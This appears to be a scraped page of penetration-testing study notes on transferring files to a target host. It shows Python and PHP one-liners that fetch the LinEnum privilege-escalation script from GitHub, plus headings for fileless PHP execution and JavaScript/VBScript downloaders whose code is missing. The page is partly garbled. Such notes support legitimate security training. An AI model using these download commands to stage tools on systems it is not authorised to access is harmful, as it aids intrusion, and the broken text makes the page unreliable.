Downloading Files
Python
Python 2 - Download
z3tssu@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'Python 3 - Download
z3tssu@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'PHP File Transfers
PHP Download and save a file locally:
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'PHP Download Using fopen() + Buffer Read
fopen() + Buffer ReadFileless PHP Execution
Ruby β Download a File
Perl β Download
JavaScript for File Downloads on Windows
πΎ The Plan: Download a File Using JavaScript + cscript.exe
cscript.exeπ Step 1: Create wget.js
wget.jsβοΈ Step 2: Execute with cscript.exe
cscript.exeVBScript File Downloads on Windows
Step 1: Create wget.vbs
wget.vbsStep 2: Run It with cscript.exe
cscript.exeπ‘ Bonus Tip
Last updated